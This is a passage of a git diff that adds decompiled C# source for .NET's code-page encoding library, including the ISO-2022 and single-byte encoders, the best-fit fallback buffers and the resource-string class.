decoder.ClearMustFlush(); + if (chars != null) + { + decoder.bytesLeftOverCount = 1; + decoder.bytesLeftOver[0] = b; + flag = true; + } + break; + } + byte nextByte = encodingCharBuffer.GetNextByte(); + ushort num2 = (ushort)((b << 8) | nextByte); + char c; + if (b == 32 && nextByte != 0) + { + c = (char)nextByte; + } + else + { + if ((b < 33 || b > 119 || nextByte < 33 || nextByte > 126) && (b < 161 || b > 247 || nextByte < 161 || nextByte > 254)) + { + if (nextByte != 32 || 33 > b || b > 125) + { + if (!encodingCharBuffer.Fallback((byte)(num2 >> 8), (byte)num2)) + { + break; + } + continue; + } + num2 = 8481; + } + num2 |= 0x8080; + c = mapBytesToUnicode[(int)num2]; + } + if (c == '\0' && num2 != 0) + { + if (!encodingCharBuffer.Fallback((byte)(num2 >> 8), (byte)num2)) + { + break; + } + } + else if (!encodingCharBuffer.AddChar(c, 2)) + { + break; + } + continue; + } + char c2 = mapBytesToUnicode[(int)b]; + if ((c2 == '\0' || c2 == '\0') && b != 0) + { + if (!encodingCharBuffer.Fallback(b)) + { + break; + } + } + else if (!encodingCharBuffer.AddChar(c2)) + { + break; + } + } + if (chars != null && decoder != null) + { + if (!flag) + { + decoder.bytesLeftOverCount = 0; + } + if (decoder.MustFlush && decoder.bytesLeftOverCount == 0) + { + decoder.currentMode = ISO2022Modes.ModeASCII; + } + else + { + decoder.currentMode = iSO2022Modes; + } + decoder.m_bytesUsed = encodingCharBuffer.BytesUsed; + } + return encodingCharBuffer.Count; + } + + public override int GetMaxByteCount(int charCount) + { + if (charCount < 0) + { + throw new ArgumentOutOfRangeException("charCount", System.SR.ArgumentOutOfRange_NeedNonNegNum); + } + long num = (long)charCount + 1L; + if (base.EncoderFallback.MaxCharCount > 1) + { + num *= base.EncoderFallback.MaxCharCount; + } + int num2 = 2; + int num3 = 0; + int num4 = 0; + switch (CodePage) + { + case 50220: + case 50221: + num2 = 5; + num4 = 3; + break; + case 50222: + num2 = 5; + num4 = 4; + break; + case 50225: + num2 = 3; + num3 = 4; + num4 = 1; + break; + case 52936: + num2 = 4; + num4 = 2; + break; + } + num *= num2; + num += num3 + num4; + if (num > int.MaxValue) + { + throw new ArgumentOutOfRangeException("charCount", System.SR.ArgumentOutOfRange_GetByteCountOverflow); + } + return (int)num; + } + + public override int GetMaxCharCount(int byteCount) + { + if (byteCount < 0) + { + throw new ArgumentOutOfRangeException("byteCount", System.SR.ArgumentOutOfRange_NeedNonNegNum); + } + int num = 1; + int num2 = 1; + switch (CodePage) + { + case 50220: + case 50221: + case 50222: + case 50225: + num = 1; + num2 = 3; + break; + case 52936: + num = 1; + num2 = 1; + break; + } + long num3 = (long)byteCount * (long)num + num2; + if (base.DecoderFallback.MaxCharCount > 1) + { + num3 *= base.DecoderFallback.MaxCharCount; + } + if (num3 > int.MaxValue) + { + throw new ArgumentOutOfRangeException("byteCount", System.SR.ArgumentOutOfRange_GetCharCountOverflow); + } + return (int)num3; + } + + public override Encoder GetEncoder() + { + return new ISO2022Encoder(this); + } + + public override Decoder GetDecoder() + { + return new ISO2022Decoder(this); + } +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Text/InternalDecoderBestFitFallback.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Text/InternalDecoderBestFitFallback.cs new file mode 100644 index 0000000..1659e95 --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System.Text/InternalDecoderBestFitFallback.cs @@ -0,0 +1,38 @@ +using System.Diagnostics.CodeAnalysis; + +namespace System.Text; + +internal sealed class InternalDecoderBestFitFallback : DecoderFallback +{ + internal BaseCodePageEncoding encoding; + + internal char[] arrayBestFit; + + internal char cReplacement = '?'; + + public override int MaxCharCount => 1; + + internal InternalDecoderBestFitFallback(BaseCodePageEncoding _encoding) + { + encoding = _encoding; + } + + public override DecoderFallbackBuffer CreateFallbackBuffer() + { + return new InternalDecoderBestFitFallbackBuffer(this); + } + + public override bool Equals([NotNullWhen(true)] object value) + { + if (value is InternalDecoderBestFitFallback internalDecoderBestFitFallback) + { + return encoding.CodePage == internalDecoderBestFitFallback.encoding.CodePage; + } + return false; + } + + public override int GetHashCode() + { + return encoding.CodePage; + } +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Text/InternalDecoderBestFitFallbackBuffer.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Text/InternalDecoderBestFitFallbackBuffer.cs new file mode 100644 index 0000000..024acb0 --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System.Text/InternalDecoderBestFitFallbackBuffer.cs @@ -0,0 +1,152 @@ +using System.Threading; + +namespace System.Text; + +internal sealed class InternalDecoderBestFitFallbackBuffer : DecoderFallbackBuffer +{ + internal char cBestFit; + + internal int iCount = -1; + + internal int iSize; + + private readonly InternalDecoderBestFitFallback _oFallback; + + private static object s_InternalSyncObject; + + private static object InternalSyncObject + { + get + { + if (s_InternalSyncObject == null) + { + object value = new object(); + Interlocked.CompareExchange(ref s_InternalSyncObject, value, (object)null); + } + return s_InternalSyncObject; + } + } + + public override int Remaining + { + get + { + if (iCount <= 0) + { + return 0; + } + return iCount; + } + } + + public InternalDecoderBestFitFallbackBuffer(InternalDecoderBestFitFallback fallback) + { + _oFallback = fallback; + if (_oFallback.arrayBestFit != null) + { + return; + } + lock (InternalSyncObject) + { + InternalDecoderBestFitFallback oFallback = _oFallback; + if (oFallback.arrayBestFit == null) + { + oFallback.arrayBestFit = fallback.encoding.GetBestFitBytesToUnicodeData(); + } + } + } + + public override bool Fallback(byte[] bytesUnknown, int index) + { + cBestFit = TryBestFit(bytesUnknown); + if (cBestFit == '\0') + { + cBestFit = _oFallback.cReplacement; + } + iCount = (iSize = 1); + return true; + } + + public override char GetNextChar() + { + iCount--; + if (iCount < 0) + { + return '\0'; + } + if (iCount == int.MaxValue) + { + iCount = -1; + return '\0'; + } + return cBestFit; + } + + public override bool MovePrevious() + { + if (iCount >= 0) + { + iCount++; + } + if (iCount >= 0) + { + return iCount <= iSize; + } + return false; + } + + public override void Reset() + { + iCount = -1; + } + + internal unsafe static int InternalFallback(byte[] bytes, byte* pBytes) + { + return 1; + } + + private char TryBestFit(byte[] bytesCheck) + { + int num = 0; + int num2 = _oFallback.arrayBestFit.Length; + if (num2 == 0) + { + return '\0'; + } + if (bytesCheck.Length == 0 || bytesCheck.Length > 2) + { + return '\0'; + } + char c = ((bytesCheck.Length != 1) ? ((char)((bytesCheck[0] << 8) + bytesCheck[1])) : ((char)bytesCheck[0])); + if (c < _oFallback.arrayBestFit[0] || c > _oFallback.arrayBestFit[num2 - 2]) + { + return '\0'; + } + int num3; + while ((num3 = num2 - num) > 6) + { + int num4 = (num3 / 2 + num) & 0xFFFE; + char c2 = _oFallback.arrayBestFit[num4]; + if (c2 == c) + { + return _oFallback.arrayBestFit[num4 + 1]; + } + if (c2 < c) + { + num = num4; + } + else + { + num2 = num4; + } + } + for (int num4 = num; num4 < num2; num4 += 2) + { + if (_oFallback.arrayBestFit[num4] == c) + { + return _oFallback.arrayBestFit[num4 + 1]; + } + } + return '\0'; + } +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Text/InternalEncoderBestFitFallback.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Text/InternalEncoderBestFitFallback.cs new file mode 100644 index 0000000..4c9a5d0 --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System.Text/InternalEncoderBestFitFallback.cs @@ -0,0 +1,36 @@ +using System.Diagnostics.CodeAnalysis; + +namespace System.Text; + +internal sealed class InternalEncoderBestFitFallback : EncoderFallback +{ + internal BaseCodePageEncoding encoding; + + internal char[] arrayBestFit; + + public override int MaxCharCount => 1; + + internal InternalEncoderBestFitFallback(BaseCodePageEncoding _encoding) + { + encoding = _encoding; + } + + public override EncoderFallbackBuffer CreateFallbackBuffer() + { + return new InternalEncoderBestFitFallbackBuffer(this); + } + + public override bool Equals([NotNullWhen(true)] object value) + { + if (value is InternalEncoderBestFitFallback internalEncoderBestFitFallback) + { + return encoding.CodePage == internalEncoderBestFitFallback.encoding.CodePage; + } + return false; + } + + public override int GetHashCode() + { + return encoding.CodePage; + } +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Text/InternalEncoderBestFitFallbackBuffer.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Text/InternalEncoderBestFitFallbackBuffer.cs new file mode 100644 index 0000000..ef8d222 --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System.Text/InternalEncoderBestFitFallbackBuffer.cs @@ -0,0 +1,149 @@ +using System.Threading; + +namespace System.Text; + +internal sealed class InternalEncoderBestFitFallbackBuffer : EncoderFallbackBuffer +{ + private char _cBestFit; + + private readonly InternalEncoderBestFitFallback _oFallback; + + private int _iCount = -1; + + private int _iSize; + + private static object s_InternalSyncObject; + + private static object InternalSyncObject + { + get + { + if (s_InternalSyncObject == null) + { + object value = new object(); + Interlocked.CompareExchange(ref s_InternalSyncObject, value, (object)null); + } + return s_InternalSyncObject; + } + } + + public override int Remaining + { + get + { + if (_iCount <= 0) + { + return 0; + } + return _iCount; + } + } + + public InternalEncoderBestFitFallbackBuffer(InternalEncoderBestFitFallback fallback) + { + _oFallback = fallback; + if (_oFallback.arrayBestFit != null) + { + return; + } + lock (InternalSyncObject) + { + InternalEncoderBestFitFallback oFallback = _oFallback; + if (oFallback.arrayBestFit == null) + { + oFallback.arrayBestFit = fallback.encoding.GetBestFitUnicodeToBytesData(); + } + } + } + + public override bool Fallback(char charUnknown, int index) + { + _iCount = (_iSize = 1); + _cBestFit = TryBestFit(charUnknown); + if (_cBestFit == '\0') + { + _cBestFit = '?'; + } + return true; + } + + public override bool Fallback(char charUnknownHigh, char charUnknownLow, int index) + { + if (!char.IsHighSurrogate(charUnknownHigh)) + { + throw new ArgumentOutOfRangeException("charUnknownHigh", System.SR.Format(System.SR.ArgumentOutOfRange_Range, 55296, 56319)); + } + if (!char.IsLowSurrogate(charUnknownLow)) + { + throw new ArgumentOutOfRangeException("charUnknownLow", System.SR.Format(System.SR.ArgumentOutOfRange_Range, 56320, 57343)); + } + _cBestFit = '?'; + _iCount = (_iSize = 2); + return true; + } + + public override char GetNextChar() + { + _iCount--; + if (_iCount < 0) + { + return '\0'; + } + if (_iCount == int.MaxValue) + { + _iCount = -1; + return '\0'; + } + return _cBestFit; + } + + public override bool MovePrevious() + { + if (_iCount >= 0) + { + _iCount++; + } + if (_iCount >= 0) + { + return _iCount <= _iSize; + } + return false; + } + + public override void Reset() + { + _iCount = -1; + } + + private char TryBestFit(char cUnknown) + { + int num = 0; + int num2 = _oFallback.arrayBestFit.Length; + int num3; + while ((num3 = num2 - num) > 6) + { + int num4 = (num3 / 2 + num) & 0xFFFE; + char c = _oFallback.arrayBestFit[num4]; + if (c == cUnknown) + { + return _oFallback.arrayBestFit[num4 + 1]; + } + if (c < cUnknown) + { + num = num4; + } + else + { + num2 = num4; + } + } + for (int num4 = num; num4 < num2; num4 += 2) + { + if (_oFallback.arrayBestFit[num4] == cUnknown) + { + return _oFallback.arrayBestFit[num4 + 1]; + } + } + return '\0'; + } +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Text/SBCSCodePageEncoding.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Text/SBCSCodePageEncoding.cs new file mode 100644 index 0000000..93cca13 --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System.Text/SBCSCodePageEncoding.cs @@ -0,0 +1,612 @@ +using System.Buffers.Binary; +using System.IO; +using System.Runtime.CompilerServices; +using System.Threading; + +namespace System.Text; + +internal sealed class SBCSCodePageEncoding : BaseCodePageEncoding +{ + private unsafe char* _mapBytesToUnicode = null; + + private unsafe byte* _mapUnicodeToBytes = null; + + private const char UNKNOWN_CHAR = '\ufffd'; + + private byte _byteUnknown; + + private char _charUnknown; + + private static object s_InternalSyncObject; + + private static object InternalSyncObject + { + get + { + if (s_InternalSyncObject == null) + { + object value = new object(); + Interlocked.CompareExchange(ref s_InternalSyncObject, value, (object)null); + } + return s_InternalSyncObject; + } + } + + public override bool IsSingleByte => true; + + public SBCSCodePageEncoding(int codePage) + : this(codePage, codePage) + { + } + + public unsafe SBCSCodePageEncoding(int codePage, int dataCodePage) + : base(codePage, dataCodePage) + { + } + + internal unsafe static ushort ReadUInt16(byte* pByte) + { + if (BitConverter.IsLittleEndian) + { + return *(ushort*)pByte; + } + return BinaryPrimitives.ReverseEndianness(*(ushort*)pByte); + } + + protected unsafe override void LoadManagedCodePage() + { + fixed (byte* ptr = &m_codePageHeader[0]) + { + CodePageHeader* ptr2 = (CodePageHeader*)ptr; + if (ptr2->ByteCount != 1) + { + throw new NotSupportedException(System.SR.Format(System.SR.NotSupported_NoCodepageData, CodePage)); + } + _byteUnknown = (byte)ptr2->ByteReplace; + _charUnknown = ptr2->UnicodeReplace; + int num = 66052 + iExtraBytes; + byte* nativeMemory = GetNativeMemory(num); + Unsafe.InitBlockUnaligned(nativeMemory, 0, (uint)num); + char* ptr3 = (char*)nativeMemory; + byte* ptr4 = nativeMemory + 512; + byte[] array = new byte[512]; + lock (BaseCodePageEncoding.s_streamLock) + { + BaseCodePageEncoding.s_codePagesEncodingDataStream.Seek(m_firstDataWordOffset, SeekOrigin.Begin); + int num2 = BaseCodePageEncoding.s_codePagesEncodingDataStream.Read(array, 0, array.Length); + } + fixed (byte* ptr5 = &array[0]) + { + for (int i = 0; i < 256; i++) + { + char c = (char)ReadUInt16(ptr5 + 2 * i); + if (c != 0 || i == 0) + { + ptr3[i] = c; + if (c != '\ufffd') + { + ptr4[(int)c] = (byte)i; + } + } + else + { + ptr3[i] = '\ufffd'; + } + } + } + _mapBytesToUnicode = ptr3; + _mapUnicodeToBytes = ptr4; + } + } + + protected unsafe override void ReadBestFitTable() + { + lock (InternalSyncObject) + { + if (arrayUnicodeBestFit != null) + { + return; + } + byte[] array = new byte[m_dataSize - 512]; + lock (BaseCodePageEncoding.s_streamLock) + { + BaseCodePageEncoding.s_codePagesEncodingDataStream.Seek(m_firstDataWordOffset + 512, SeekOrigin.Begin); + int num = BaseCodePageEncoding.s_codePagesEncodingDataStream.Read(array, 0, array.Length); + } + fixed (byte* ptr = array) + { + byte* ptr2 = ptr; + char[] array2 = new char[256]; + for (int i = 0; i < 256; i++) + { + array2[i] = _mapBytesToUnicode[i]; + } + ushort num2; + while ((num2 = ReadUInt16(ptr2)) != 0) + { + ptr2 += 2; + array2[num2] = (char)ReadUInt16(ptr2); + ptr2 += 2; + } + arrayBytesBestFit = array2; + ptr2 += 2; + byte* ptr3 = ptr2; + int num3 = 0; + int num4 = ReadUInt16(ptr2); + ptr2 += 2; + while (num4 < 65536) + { + byte b = *ptr2; + ptr2++; + switch (b) + { + case 1: + num4 = ReadUInt16(ptr2); + ptr2 += 2; + continue; + case 2: + case 3: + case 4: + case 5: + case 6: + case 7: + case 8: + case 9: + case 10: + case 11: + case 12: + case 13: + case 14: + case 15: + case 16: + case 17: + case 18: + case 19: + case 20: + case 21: + case 22: + case 23: + case 24: + case 25: + case 26: + case 27: + case 28: + case 29: + case 31: + num4 += b; + continue; + } + if (b > 0) + { + num3++; + } + num4++; + } + array2 = new char[num3 * 2]; + ptr2 = ptr3; + num4 = ReadUInt16(ptr2); + ptr2 += 2; + num3 = 0; + while (num4 < 65536) + { + byte b2 = *ptr2; + ptr2++; + switch (b2) + { + case 1: + num4 = ReadUInt16(ptr2); + ptr2 += 2; + continue; + case 2: + case 3: + case 4: + case 5: + case 6: + case 7: + case 8: + case 9: + case 10: + case 11: + case 12: + case 13: + case 14: + case 15: + case 16: + case 17: + case 18: + case 19: + case 20: + case 21: + case 22: + case 23: + case 24: + case 25: + case 26: + case 27: + case 28: + case 29: + case 31: + num4 += b2; + continue; + } + if (b2 == 30) + { + b2 = *ptr2; + ptr2++; + } + if (b2 > 0) + { + array2[num3++] = (char)num4; + array2[num3++] = _mapBytesToUnicode[(int)b2]; + } + num4++; + } + arrayUnicodeBestFit = array2; + } + } + } + + public unsafe override int GetByteCount(char* chars, int count, System.Text.EncoderNLS encoder) + { + CheckMemorySection(); + EncoderReplacementFallback encoderReplacementFallback = null; + char c = '\0'; + if (encoder != null) + { + c = encoder.charLeftOver; + encoderReplacementFallback = encoder.Fallback as EncoderReplacementFallback; + } + else + { + encoderReplacementFallback = base.EncoderFallback as EncoderReplacementFallback; + } + if (encoderReplacementFallback != null && encoderReplacementFallback.MaxCharCount == 1) + { + if (c > '\0') + { + count++; + } + return count; + } + EncoderFallbackBuffer encoderFallbackBuffer = null; + int num = 0; + char* ptr = chars + count; + EncoderFallbackBufferHelper encoderFallbackBufferHelper = new EncoderFallbackBufferHelper(encoderFallbackBuffer); + if (c > '\0') + { + encoderFallbackBuffer = encoder.FallbackBuffer; + encoderFallbackBufferHelper = new EncoderFallbackBufferHelper(encoderFallbackBuffer); + encoderFallbackBufferHelper.InternalInitialize(chars, ptr, encoder, _setEncoder: false); + encoderFallbackBufferHelper.InternalFallback(c, ref chars); + } + char c2; + while ((c2 = ((encoderFallbackBuffer != null) ? encoderFallbackBufferHelper.InternalGetNextChar() : '\0')) != 0 || chars < ptr) + { + if (c2 == '\0') + { + c2 = *chars; + chars++; + } + if (_mapUnicodeToBytes[(int)c2] == 0 && c2 != 0) + { + if (encoderFallbackBuffer == null) + { + encoderFallbackBuffer = ((encoder != null) ? encoder.FallbackBuffer : base.EncoderFallback.CreateFallbackBuffer()); + encoderFallbackBufferHelper = new EncoderFallbackBufferHelper(encoderFallbackBuffer); + encoderFallbackBufferHelper.InternalInitialize(ptr - count, ptr, encoder, _setEncoder: false); + } + encoderFallbackBufferHelper.InternalFallback(c2, ref chars); + } + else + { + num++; + } + } + return num; + } + + public unsafe override int GetBytes(char* chars, int charCount, byte* bytes, int byteCount, System.Text.EncoderNLS encoder) + { + CheckMemorySection(); + EncoderReplacementFallback encoderReplacementFallback = null; + char c = '\0'; + if (encoder != null) + { + c = encoder.charLeftOver; + encoderReplacementFallback = encoder.Fallback as EncoderReplacementFallback; + } + else + { + encoderReplacementFallback = base.EncoderFallback as EncoderReplacementFallback; + } + char* ptr = chars + charCount; + byte* ptr2 = bytes; + char* ptr3 = chars; + if (encoderReplacementFallback != null && encoderReplacementFallback.MaxCharCount == 1) + { + byte b = _mapUnicodeToBytes[(int)encoderReplacementFallback.DefaultString[0]]; + if (b != 0) + { + if (c > '\0') + { + if (byteCount == 0) + { + ThrowBytesOverflow(encoder, nothingEncoded: true); + } + *(bytes++) = b; + byteCount--; + } + if (byteCount < charCount) + { + ThrowBytesOverflow(encoder, byteCount < 1); + ptr = chars + byteCount; + } + while (chars < ptr) + { + char c2 = *chars; + chars++; + byte b2 = _mapUnicodeToBytes[(int)c2]; + if (b2 == 0 && c2 != 0) + { + *bytes = b; + } + else + { + *bytes = b2; + } + bytes++; + } + if (encoder != null) + { + encoder.charLeftOver = '\0'; + encoder.m_charsUsed = (int)(chars - ptr3); + } + return (int)(bytes - ptr2); + } + } + EncoderFallbackBuffer encoderFallbackBuffer = null; + byte* ptr4 = bytes + byteCount; + EncoderFallbackBufferHelper encoderFallbackBufferHelper = new EncoderFallbackBufferHelper(encoderFallbackBuffer); + if (c > '\0') + { + encoderFallbackBuffer = encoder.FallbackBuffer; + encoderFallbackBufferHelper = new EncoderFallbackBufferHelper(encoderFallbackBuffer); + encoderFallbackBufferHelper.InternalInitialize(chars, ptr, encoder, _setEncoder: true); + encoderFallbackBufferHelper.InternalFallback(c, ref chars); + if (encoderFallbackBuffer.Remaining > ptr4 - bytes) + { + ThrowBytesOverflow(encoder, nothingEncoded: true); + } + } + char c3; + while ((c3 = ((encoderFallbackBuffer != null) ? encoderFallbackBufferHelper.InternalGetNextChar() : '\0')) != 0 || chars < ptr) + { + if (c3 == '\0') + { + c3 = *chars; + chars++; + } + byte b3 = _mapUnicodeToBytes[(int)c3]; + if (b3 == 0 && c3 != 0) + { + if (encoderFallbackBuffer == null) + { + encoderFallbackBuffer = ((encoder != null) ? encoder.FallbackBuffer : base.EncoderFallback.CreateFallbackBuffer()); + encoderFallbackBufferHelper = new EncoderFallbackBufferHelper(encoderFallbackBuffer); + encoderFallbackBufferHelper.InternalInitialize(ptr - charCount, ptr, encoder, _setEncoder: true); + } + encoderFallbackBufferHelper.InternalFallback(c3, ref chars); + if (encoderFallbackBuffer.Remaining > ptr4 - bytes) + { + chars--; + encoderFallbackBufferHelper.InternalReset(); + ThrowBytesOverflow(encoder, chars == ptr3); + break; + } + continue; + } + if (bytes >= ptr4) + { + if (encoderFallbackBuffer == null || !encoderFallbackBufferHelper.bFallingBack) + { + chars--; + } + ThrowBytesOverflow(encoder, chars == ptr3); + break; + } + *bytes = b3; + bytes++; + } + if (encoder != null) + { + if (encoderFallbackBuffer != null && !encoderFallbackBufferHelper.bUsedEncoder) + { + encoder.charLeftOver = '\0'; + } + encoder.m_charsUsed = (int)(chars - ptr3); + } + return (int)(bytes - ptr2); + } + + public unsafe override int GetCharCount(byte* bytes, int count, System.Text.DecoderNLS decoder) + { + CheckMemorySection(); + bool flag = false; + DecoderReplacementFallback decoderReplacementFallback = null; + if (decoder == null) + { + decoderReplacementFallback = base.DecoderFallback as DecoderReplacementFallback; + flag = base.DecoderFallback is InternalDecoderBestFitFallback; + } + else + { + decoderReplacementFallback = decoder.Fallback as DecoderReplacementFallback; + flag = decoder.Fallback is InternalDecoderBestFitFallback; + } + if (flag || (decoderReplacementFallback != null && decoderReplacementFallback.MaxCharCount == 1)) + { + return count; + } + DecoderFallbackBuffer decoderFallbackBuffer = null; + DecoderFallbackBufferHelper decoderFallbackBufferHelper = new DecoderFallbackBufferHelper(decoderFallbackBuffer); + int num = count; + byte[] array = new byte[1]; + byte* ptr = bytes + count; + while (bytes < ptr) + { + char c = _mapBytesToUnicode[(int)(*bytes)]; + bytes++; + if (c == '\ufffd') + { + if (decoderFallbackBuffer == null) + { + decoderFallbackBuffer = ((decoder != null) ? decoder.FallbackBuffer : base.DecoderFallback.CreateFallbackBuffer()); + decoderFallbackBufferHelper = new DecoderFallbackBufferHelper(decoderFallbackBuffer); + decoderFallbackBufferHelper.InternalInitialize(ptr - count, null); + } + array[0] = *(bytes - 1); + num--; + num += decoderFallbackBufferHelper.InternalFallback(array, bytes); + } + } + return num; + } + + public unsafe override int GetChars(byte* bytes, int byteCount, char* chars, int charCount, System.Text.DecoderNLS decoder) + { + CheckMemorySection(); + bool flag = false; + byte* ptr = bytes + byteCount; + byte* ptr2 = bytes; + char* ptr3 = chars; + DecoderReplacementFallback decoderReplacementFallback = null; + if (decoder == null) + { + decoderReplacementFallback = base.DecoderFallback as DecoderReplacementFallback; + flag = base.DecoderFallback is InternalDecoderBestFitFallback; + } + else + { + decoderReplacementFallback = decoder.Fallback as DecoderReplacementFallback; + flag = decoder.Fallback is InternalDecoderBestFitFallback; + } + if (flag || (decoderReplacementFallback != null && decoderReplacementFallback.MaxCharCount == 1)) + { + char c = decoderReplacementFallback?.DefaultString[0] ?? '?'; + if (charCount < byteCount) + { + ThrowCharsOverflow(decoder, charCount < 1); + ptr = bytes + charCount; + } + while (bytes < ptr) + { + char c2; + if (flag) + { + if (arrayBytesBestFit == null) + { + ReadBestFitTable(); + } + c2 = arrayBytesBestFit[*bytes]; + } + else + { + c2 = _mapBytesToUnicode[(int)(*bytes)]; + } + bytes++; + if (c2 == '\ufffd') + { + *chars = c; + } + else + { + *chars = c2; + } + chars++; + } + if (decoder != null) + { + decoder.m_bytesUsed = (int)(bytes - ptr2); + } + return (int)(chars - ptr3); + } + DecoderFallbackBuffer decoderFallbackBuffer = null; + byte[] array = new byte[1]; + char* ptr4 = chars + charCount; + DecoderFallbackBufferHelper decoderFallbackBufferHelper = new DecoderFallbackBufferHelper(null); + while (bytes < ptr) + { + char c3 = _mapBytesToUnicode[(int)(*bytes)]; + bytes++; + if (c3 == '\ufffd') + { + if (decoderFallbackBuffer == null) + { + decoderFallbackBuffer = ((decoder != null) ? decoder.FallbackBuffer : base.DecoderFallback.CreateFallbackBuffer()); + decoderFallbackBufferHelper = new DecoderFallbackBufferHelper(decoderFallbackBuffer); + decoderFallbackBufferHelper.InternalInitialize(ptr - byteCount, ptr4); + } + array[0] = *(bytes - 1); + if (!decoderFallbackBufferHelper.InternalFallback(array, bytes, ref chars)) + { + bytes--; + decoderFallbackBufferHelper.InternalReset(); + ThrowCharsOverflow(decoder, bytes == ptr2); + break; + } + } + else + { + if (chars >= ptr4) + { + bytes--; + ThrowCharsOverflow(decoder, bytes == ptr2); + break; + } + *chars = c3; + chars++; + } + } + if (decoder != null) + { + decoder.m_bytesUsed = (int)(bytes - ptr2); + } + return (int)(chars - ptr3); + } + + public override int GetMaxByteCount(int charCount) + { + if (charCount < 0) + { + throw new ArgumentOutOfRangeException("charCount", System.SR.ArgumentOutOfRange_NeedNonNegNum); + } + long num = (long)charCount + 1L; + if (base.EncoderFallback.MaxCharCount > 1) + { + num *= base.EncoderFallback.MaxCharCount; + } + if (num > int.MaxValue) + { + throw new ArgumentOutOfRangeException("charCount", System.SR.ArgumentOutOfRange_GetByteCountOverflow); + } + return (int)num; + } + + public override int GetMaxCharCount(int byteCount) + { + if (byteCount < 0) + { + throw new ArgumentOutOfRangeException("byteCount", System.SR.ArgumentOutOfRange_NeedNonNegNum); + } + long num = byteCount; + if (base.DecoderFallback.MaxCharCount > 1) + { + num *= base.DecoderFallback.MaxCharCount; + } + if (num > int.MaxValue) + { + throw new ArgumentOutOfRangeException("byteCount", System.SR.ArgumentOutOfRange_GetCharCountOverflow); + } + return (int)num; + } +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System/SR.cs b/decompiled/Libraries/system.text.encoding.codepages/System/SR.cs new file mode 100644 index 0000000..b01d73a --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System/SR.cs @@ -0,0 +1,441 @@ +using System.Resources; +using FxResources.System.Text.Encoding.CodePages; + +namespace System; + +internal static class SR +{ + private static readonly bool s_usingResourceKeys = AppContext.TryGetSwitch("System.Resources.UseSystemResourceKeys", out var isEnabled) && isEnabled; + + private static ResourceManager s_resourceManager; + + internal static ResourceManager ResourceManager => s_resourceManager ?? (s_resourceManager = new ResourceManager(typeof(SR))); + + internal static string ArgumentOutOfRange_NeedNonNegNum => GetResourceString("ArgumentOutOfRange_NeedNonNegNum"); + + internal static string ArgumentOutOfRange_IndexCount => GetResourceString("ArgumentOutOfRange_IndexCount"); + + internal static string ArgumentOutOfRange_IndexCountBuffer => GetResourceString("ArgumentOutOfRange_IndexCountBuffer"); + + internal static string NotSupported_NoCodepageData => GetResourceString("NotSupported_NoCodepageData"); + + internal static string Argument_EncodingConversionOverflowBytes => GetResourceString("Argument_EncodingConversionOverflowBytes"); + + internal static string Argument_InvalidCharSequenceNoIndex => GetResourceString("Argument_InvalidCharSequenceNoIndex"); + + internal static string ArgumentOutOfRange_GetByteCountOverflow => GetResourceString("ArgumentOutOfRange_GetByteCountOverflow"); + + internal static string Argument_EncodingConversionOverflowChars => GetResourceString("Argument_EncodingConversionOverflowChars"); + + internal static string ArgumentOutOfRange_GetCharCountOverflow => GetResourceString("ArgumentOutOfRange_GetCharCountOverflow"); + + internal static string Argument_EncoderFallbackNotEmpty => GetResourceString("Argument_EncoderFallbackNotEmpty"); + + internal static string Argument_RecursiveFallback => GetResourceString("Argument_RecursiveFallback"); + + internal static string Argument_RecursiveFallbackBytes => GetResourceString("Argument_RecursiveFallbackBytes"); + + internal static string ArgumentOutOfRange_Range => GetResourceString("ArgumentOutOfRange_Range"); + + internal static string Argument_CodepageNotSupported => GetResourceString("Argument_CodepageNotSupported"); + + internal static string ArgumentOutOfRange_IndexMustBeLess => GetResourceString("ArgumentOutOfRange_IndexMustBeLess"); + + internal static string ArgumentOutOfRange_IndexMustBeLessOrEqual => GetResourceString("ArgumentOutOfRange_IndexMustBeLessOrEqual"); + + internal static string MissingEncodingNameResource => GetResourceString("MissingEncodingNameResource"); + + internal static string Globalization_cp_37 => GetResourceString("Globalization_cp_37"); + + internal static string Globalization_cp_437 => GetResourceString("Globalization_cp_437"); + + internal static string Globalization_cp_500 => GetResourceString("Globalization_cp_500"); + + internal static string Globalization_cp_708 => GetResourceString("Globalization_cp_708"); + + internal static string Globalization_cp_720 => GetResourceString("Globalization_cp_720"); + + internal static string Globalization_cp_737 => GetResourceString("Globalization_cp_737"); + + internal static string Globalization_cp_775 => GetResourceString("Globalization_cp_775"); + + internal static string Globalization_cp_850 => GetResourceString("Globalization_cp_850"); + + internal static string Globalization_cp_852 => GetResourceString("Globalization_cp_852"); + + internal static string Globalization_cp_855 => GetResourceString("Globalization_cp_855"); + + internal static string Globalization_cp_857 => GetResourceString("Globalization_cp_857"); + + internal static string Globalization_cp_858 => GetResourceString("Globalization_cp_858"); + + internal static string Globalization_cp_860 => GetResourceString("Globalization_cp_860"); + + internal static string Globalization_cp_861 => GetResourceString("Globalization_cp_861"); + + internal static string Globalization_cp_862 => GetResourceString("Globalization_cp_862"); + + internal static string Globalization_cp_863 => GetResourceString("Globalization_cp_863"); + + internal static string Globalization_cp_864 => GetResourceString("Globalization_cp_864"); + + internal static string Globalization_cp_865 => GetResourceString("Globalization_cp_865"); + + internal static string Globalization_cp_866 => GetResourceString("Globalization_cp_866"); + + internal static string Globalization_cp_869 => GetResourceString("Globalization_cp_869"); + + internal static string Globalization_cp_870 => GetResourceString("Globalization_cp_870"); + + internal static string Globalization_cp_874 => GetResourceString("Globalization_cp_874"); + + internal static string Globalization_cp_875 => GetResourceString("Globalization_cp_875"); + + internal static string Globalization_cp_932 => GetResourceString("Globalization_cp_932"); + + internal static string Globalization_cp_936 => GetResourceString("Globalization_cp_936"); + + internal static string 